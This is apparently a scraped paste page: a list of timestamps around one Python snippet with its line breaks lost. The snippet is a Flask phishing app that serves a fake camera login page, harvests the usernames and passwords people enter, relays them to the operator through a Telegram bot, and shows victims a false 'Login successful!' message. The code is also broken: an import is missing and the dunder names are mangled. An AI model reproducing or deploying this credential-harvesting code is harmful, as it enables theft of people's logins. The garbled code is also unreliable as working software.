26 Jun, 19:53
21 Jun, 18:24
21 Jun, 13:38
import osimport requestsfrom flask import Flask, request, render_templatefrom telegram.ext import Updater, CommandHandler, MessageHandlerapp = Flask(name)# Telegram bot tokenTOKEN = 'YOUR_TELEGRAM_BOT_TOKEN'# Camera login page templateTEMPLATE = ''' Camera Login Camera Login Username: Password: '''# Telegram bot setupdef send_credentials_to_bot(username, password): updater = Updater(TOKEN, use_context=True) dp = updater.dispatcher dp.add_handler(CommandHandler('start', lambda update, context: context.bot.send_message(chat_id=update.effective_chat.id, text='Credentials received!'))) dp.add_handler(MessageHandler(Filters.text, lambda update, context: context.bot.send_message(chat_id=update.effective_chat.id, text=f'Username: {username}, Password: {password}'))) updater.start_polling() updater.idle()@app.route('/', methods=['GET', 'POST'])def index(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] send_credentials_to_bot(username, password) return 'Login successful!' return render_template('index.html', template=TEMPLATE)if name == 'main': app.run(host='0.0.0.0', port=8080)
21 Jun, 13:27
21 Jun, 12:06
21 Jun, 11:08
16 Jun, 07:59
16 Jun, 02:20
13 Jun, 19:57
13 Jun, 15:58
10 Jun, 22:04
9 Jun, 18:58
2 Jun, 20:58
31 May, 10:48
27 May, 14:20
27 May, 14:18
13 May, 10:55
12 May, 20:24
12 May, 20:21